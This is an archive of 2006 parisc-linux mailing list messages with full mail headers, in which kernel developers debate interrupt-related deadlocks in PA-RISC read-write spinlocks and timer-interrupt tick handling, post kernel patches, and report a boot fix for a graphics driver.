NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624170 20839 80.91.229.3 (22 Nov 2014 02:42:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Sep 2006 15:57:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 01 Sep 2006 17:57:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7EB457D864;
	Fri,  1 Sep 2006 09:57:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19722-07; Fri, 1 Sep 2006 09:57:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C0A077D87A;
	Fri,  1 Sep 2006 09:57:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D14D57D859
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Sep 2006 09:57:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19722-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Sep 2006 09:57:33 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id A3A307D858
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Sep 2006 09:57:33 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C0FE33680DB;
	Fri,  1 Sep 2006 09:57:32 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03654-10; Fri, 1 Sep 2006 09:57:31 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 644F236001E; Fri,  1 Sep 2006 09:57:31 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060901140123.GB5658@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FjGNd2VNODBpUrWUfGRMUxo1Ji9SWhJi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23947

On Fri, Sep 01, 2006 at 08:01:23AM -0600, Matthew Wilcox wrote:
> On Thu, Aug 31, 2006 at 10:27:40AM -0600, Grant Grundler wrote:
> > trylock() variants are expected to fail some of the time.
> > But I agree readers should never fail because of another reader.
> > I guess we have to implement some number of retries (less than 5?).
> 
> I don't think we need retries; we're guaranteed to make forward
> progress.  If we fail to acquire the lock, it's because it's either held
> for a short duration by a reader, or for a long duration by a writer.
> If it's a writer, we'll fail due to the counter being negative; if it's
> a reader, we'll succeed soon.  Mmm.  Unless, of course, we interrupted a
> read-locker ... crap.  They need to take the lock in an irqsafe way too.

Yup...

> > Drop the "if (rw->counter < 0)" test and we won't have a deadlock.
> > But your next idea on fixing that sounds good to me for other reasons.
> 
> I don't understand why you think that.  Can you explain?

Without blocking interrupts, that test is reading a value
that's not deterministic. ie we don't when if/when we are
interrupting a writer. Failing the read lock is safe even
if it's not correct.


> > I'm thinking we want to block interrupts here anyway to make sure
> > the writer gets done and releases the spinlock.
> 
> Umm.  Sounds like a spectacularly bad idea.  If the caller wanted to do
> that, they would have called write_lock_irqsave() or write_lock_irq().

Well, ok - you're right about caller intentions. But the caller also has
no clue about parisc rw_locks and how fsck'd the implementation is.
I'm just "speculating out loud"  in order to make parisc implementation
work better in practice.

> With the out-of-line spinlocks (and for that matter, write locks),
> that's not going to matter.  The only place that calls
> __raw_write_lock() is in kernel/spinlock.c, so there's no way for gcc to
> optimise that away.  I can put it in anyway, since it's not going to
> make a difference.

I'm not sure that a good reason to put the mb() in.
Would "it's correct" be a better reason?
I'm thinking other people will look at the code when trying to
understand parisc.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some more questions about __raw_write_trylock()
	hppa implementation
Date: Fri, 1 Sep 2006 11:19:45 -0600
Lines: 176
Approved: news@gmane.org
Message-ID: <20060901171945.GD5658@parisc-linux.org>
References: <44F5F3CB.30806@scarlet.be>
	<20060831035932.GB4919@parisc-linux.org>
	<20060831060637.GF3999@colo.lackof.org>
	<20060831123135.GC4919@parisc-linux.org>
	<20060831162740.GB16032@colo.lackof.org>
	<20060901140123.GB5658@parisc-linux.org>
	<20060901155731.GA4041@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624171 20842 80.91.229.3 (22 Nov 2014 02:42:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Sep 2006 17:19:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 01 Sep 2006 19:19:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 10B797D8B5;
	Fri,  1 Sep 2006 11:19:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20276-09; Fri, 1 Sep 2006 11:19:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E6AE37D8AB;
	Fri,  1 Sep 2006 11:19:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F8007D8A9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Sep 2006 11:19:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20276-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Sep 2006 11:19:46 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 014A47D8A5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Sep 2006 11:19:45 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 948BE494007; Fri,  1 Sep 2006 11:19:45 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060901155731.GA4041@colo.lackof.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iRHNLPI7ZDI4DLHGdWY2CehxemhmY4FH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23948

On Fri, Sep 01, 2006 at 09:57:31AM -0600, Grant Grundler wrote:
> > > Drop the "if (rw->counter < 0)" test and we won't have a deadlock.
> > > But your next idea on fixing that sounds good to me for other reasons.
> > 
> > I don't understand why you think that.  Can you explain?
> 
> Without blocking interrupts, that test is reading a value
> that's not deterministic. ie we don't when if/when we are
> interrupting a writer. Failing the read lock is safe even
> if it's not correct.

Oh, OK.  Understood.  I thought you had a neat optimisation there ;-)

> > > I'm thinking we want to block interrupts here anyway to make sure
> > > the writer gets done and releases the spinlock.
> > 
> > Umm.  Sounds like a spectacularly bad idea.  If the caller wanted to do
> > that, they would have called write_lock_irqsave() or write_lock_irq().
> 
> Well, ok - you're right about caller intentions. But the caller also has
> no clue about parisc rw_locks and how fsck'd the implementation is.
> I'm just "speculating out loud"  in order to make parisc implementation
> work better in practice.

It's not that bad.  Really ;-)

> > With the out-of-line spinlocks (and for that matter, write locks),
> > that's not going to matter.  The only place that calls
> > __raw_write_lock() is in kernel/spinlock.c, so there's no way for gcc to
> > optimise that away.  I can put it in anyway, since it's not going to
> > make a difference.
> 
> I'm not sure that a good reason to put the mb() in.
> Would "it's correct" be a better reason?
> I'm thinking other people will look at the code when trying to
> understand parisc.

I doubt it, or somebody might've spotted the, what, three or four
problems with our rwlocks that I've found?

 - an interrupt while taking or releasing a read_lock can deadlock
   against a read_lock.
 - an interrupt while holding a read_lock will deadlock against a
   read_trylock.
 - an interrupt while holding a write_lock will deadlock against a
   read_trylock or write_trylock.

Anyway, here's the current diff; I have a make -j4; make clean running
in an endless loop on nicol right now.  Any further suggestions for
stress-testing are welcome ... perhaps I'll install apache and run an
apache benchmark.

diff --git a/include/asm-parisc/spinlock.h b/include/asm-parisc/spinlock.h
index a93960e..97115dc 100644
--- a/include/asm-parisc/spinlock.h
+++ b/include/asm-parisc/spinlock.h
@@ -56,50 +56,70 @@ static inline int __raw_spin_trylock(raw
 }
 
 /*
- * Read-write spinlocks, allowing multiple readers
- * but only one writer.
+ * Read-write spinlocks, allowing multiple readers but only one writer.
+ * The spinlock is held by the writer, preventing any readers or other
+ * writers from grabbing the rwlock.  Readers use the lock to serialise their
+ * access to the counter (which records how many readers currently hold the
+ * lock).  Linux rwlocks are unfair to writers; they can be starved for
+ * an indefinite time by readers.  They can also be taken in interrupt context,
+ * so we have to disable interrupts when acquiring the spin lock to be sure
+ * that an interrupting reader doesn't get an inconsistent view of the lock.
  */
 
-#define __raw_read_trylock(lock) generic__raw_read_trylock(lock)
-
-/* read_lock, read_unlock are pretty straightforward.  Of course it somehow
- * sucks we end up saving/restoring flags twice for read_lock_irqsave aso. */
-
 static  __inline__ void __raw_read_lock(raw_rwlock_t *rw)
 {
+	unsigned long flags;
+	local_irq_save(flags);
 	__raw_spin_lock(&rw->lock);
-
 	rw->counter++;
-
 	__raw_spin_unlock(&rw->lock);
+	local_irq_restore(flags);
 }
 
 static  __inline__ void __raw_read_unlock(raw_rwlock_t *rw)
 {
+	unsigned long flags;
+	local_irq_save(flags);
 	__raw_spin_lock(&rw->lock);
-
 	rw->counter--;
-
 	__raw_spin_unlock(&rw->lock);
+	local_irq_restore(flags);
 }
 
-/* write_lock is less trivial.  We optimistically grab the lock and check
- * if we surprised any readers.  If so we release the lock and wait till
- * they're all gone before trying again
- *
- * Also note that we don't use the _irqsave / _irqrestore suffixes here.
- * If we're called with interrupts enabled and we've got readers (or other
- * writers) in interrupt handlers someone fucked up and we'd dead-lock
- * sooner or later anyway.   prumpf */
+static __inline__ int __raw_read_trylock(raw_rwlock_t *rw)
+{
+	unsigned long flags;
+ retry:
+	local_irq_save(flags);
+	if (__raw_spin_trylock(&rw->lock)) {
+		rw->counter++;
+		__raw_spin_unlock(&rw->lock);
+		local_irq_restore(flags);
+		return 1;
+	}
+
+	local_irq_restore(flags);
+	/* If write-locked, we fail to acquire the lock */
+	if (rw->counter < 0)
+		return 0;
+
+	/* Wait until we have a realistic chance at the lock */
+	while (__raw_spin_is_locked(&rw->lock) && rw->counter >= 0)
+		cpu_relax();
+
+	goto retry;
+}
 
-static  __inline__ void __raw_write_lock(raw_rwlock_t *rw)
+static __inline__ void __raw_write_lock(raw_rwlock_t *rw)
 {
+	unsigned long flags;
 retry:
+	local_irq_save(flags);
 	__raw_spin_lock(&rw->lock);
 
-	if(rw->counter != 0) {
-		/* this basically never happens */
+	if (rw->counter != 0) {
 		__raw_spin_unlock(&rw->lock);
+		local_irq_restore(flags);
 
 		while (rw->counter != 0)
 			cpu_relax();
@@ -107,31 +127,35 @@ retry:
 		goto retry;
 	}
 
-	/* got it.  now leave without unlocking */
-	rw->counter = -1; /* remember we are locked */
+	rw->counter = -1; /* mark as write-locked */
+	mb();
+	local_irq_restore(flags);
 }
 
-/* write_unlock is absolutely trivial - we don't have to wait for anything */
-
-static  __inline__ void __raw_write_unlock(raw_rwlock_t *rw)
+static __inline__ void __raw_write_unlock(raw_rwlock_t *rw)
 {
 	rw->counter = 0;
 	__raw_spin_unlock(&rw->lock);
 }
 
-static  __inline__ int __raw_write_trylock(raw_rwlock_t *rw)
+static __inline__ int __raw_write_trylock(raw_rwlock_t *rw)
 {
-	__raw_spin_lock(&rw->lock);
-	if (rw->counter != 0) {
-		/* this basically never happens */
-		__raw_spin_unlock(&rw->lock);

From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sat, 02 Sep 2006 10:52:06 -0500
Lines: 91
Approved: news@gmane.org
Message-ID: <1157212326.4041.26.camel@mulgrave.il.steeleye.com>
References: <J4TKVV$8AA4E9E98C79A1A2778C0CBF8A96F048@scarlet.be>
	<20060830165211.GA3999@colo.lackof.org>
	<119aab440608301323w309debf2g6635ce4757ac024b@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624171 20844 80.91.229.3 (22 Nov 2014 02:42:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:51 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Sep 2006 15:52:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 02 Sep 2006 17:52:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9F8DC7D7F9;
	Sat,  2 Sep 2006 09:52:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05450-07; Sat, 2 Sep 2006 09:52:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E08DA7D7FC;
	Sat,  2 Sep 2006 09:52:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5B547D7F7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Sep 2006 09:52:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05450-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Sep 2006 09:52:40 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 53A8E7D7F0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Sep 2006 09:52:40 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k82Fq6500558; Sat, 2 Sep 2006 11:52:06 -0400
In-Reply-To: <119aab440608301323w309debf2g6635ce4757ac024b@mail.gmail.com>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5JDMcBkyRkkeaauPfGRqnelmdWkvKNM4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23949

On Wed, 2006-08-30 at 16:23 -0400, Carlos O'Donell wrote:
> It actaully turns out I don't think I ever booted this patch, my
> palo.conf was hosed and I was writing the wrong kernel. It was too
> good to be true :)
> 
> I'll have a go at testing this again tonight.

Actually, according to my analysis on ioz (pa8800) there seem to be some
hidden issues with our implementation (i.e. it's not the mathematics).

The first problem is that interrupts are re-entrant, so the timer
interrupt can get re-interrupted.  If this happens between the mfctl(16)
and the mtctl(), which is made much longer by the use of while loops,
then there's a small possibility that the interrupt caused us to miss
the next tick (i.e. cr16 moved beyond next_tick while in the interrupt).
I see this very occasionally on the pa8800 caused by flush IPIs (since
the cache is so huge) ... it's probably caused by SCSI interrupts on the
C3xxx that everyone else is testing with.  However, when this happens,
you have to wait for cr16 to wrap before you get another timer
interrupt, which I believe to be the source of the time jumps and
negative offsets in gettimeoffset().

My proposed fix for this is below.  However, we seem to have a few other
issues:

     1. On SMP, cr16 of the secondary processors (and next_tick) is
        never initialised ... we just wait for the timer to wrap and
        then pick up ticking from there.
     2. processor_probe() blows away all of the next_tick data when it's
        called (once for every CPU)
     3. We're regularly missing multiple ticks ... mainly below about
        30 .. there must be some cause for this but I can't immediately
        find it.
     4. we don't obey CONFIG_HZ at all the clock is always either 1000
        for pa2.0 or 100 for pa1.0

James

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 5facc9b..93322a2 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -48,9 +48,13 @@ irqreturn_t timer_interrupt(int irq, voi
 	long next_tick;
 	int nticks;
 	int cpu = smp_processor_id();
+	unsigned long flags;
 
 	profile_tick(CPU_PROFILING, regs);
 
+	/* Don't want to be interrupted while calculating
+	 * time offsets */
+	local_irq_save(flags);
 	now = mfctl(16);
 	/* initialize next_tick to time at last clocktick */
 	next_tick = cpu_data[cpu].it_value;
@@ -63,13 +67,24 @@ irqreturn_t timer_interrupt(int irq, voi
 	 * Variables are *signed*.
 	 */
 
-	nticks = 0;
-	while((next_tick - now) < halftick) {
+	/* Don't do expensive mul and div for the likely case */
+	if (likely(now - next_tick < clocktick)) {
+		nticks = 1;
 		next_tick += clocktick;
+	} else {
+		nticks = ((now - next_tick)/clocktick) + 1;
+		next_tick += clocktick*nticks;
+	}
+	/* Don't interrupt too much.  If we only have half
+	 * the time to go to the next tick, push it out one
+	 * more tick */
+	if (unlikely(next_tick - now < halftick)) {
 		nticks++;
+		next_tick += clocktick;
 	}
 	mtctl(next_tick, 16);
 	cpu_data[cpu].it_value = next_tick;
+	local_irq_restore(flags);
 
 	while (nticks--) {
 #ifdef CONFIG_SMP


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What happen to the Penguin
Date: Sat, 2 Sep 2006 21:05:29 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200609030105.k8315Tqn014124@hiauly1.hia.nrc.ca>
References: <20060831000635.GK3926@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624171 20848 80.91.229.3 (22 Nov 2014 02:42:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 01:05:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 03 Sep 2006 03:05:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B8367D7D3;
	Sat,  2 Sep 2006 19:05:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12497-01; Sat, 2 Sep 2006 19:05:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C04137D7CC;
	Sat,  2 Sep 2006 19:05:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E9C67D7CA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Sep 2006 19:05:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11076-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Sep 2006 19:05:31 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7F8E87D7C9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Sep 2006 19:05:31 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k8315UAx014126;
	Sat, 2 Sep 2006 21:05:30 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k8315Tqn014124;
	Sat, 2 Sep 2006 21:05:29 -0400 (EDT)
In-Reply-To: <20060831000635.GK3926@athena.road.mcmartin.ca> from "Kyle
	McMartin" at Aug 30, 2006 08:06:35 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: B0OPd3tNODBpUrWUfGRMIAo1Ji9SWhLy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23950

> > Can you remove the PCI_DEVICE(...) lines with PCI_DEVICE_HP_VISUALIZEFX*
> > in drivers/video/console/sticore.c and see what happens? That should
> > at least allow them to boot.

This allows the machine to boot.  Tested using 2.6.17-pa6.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
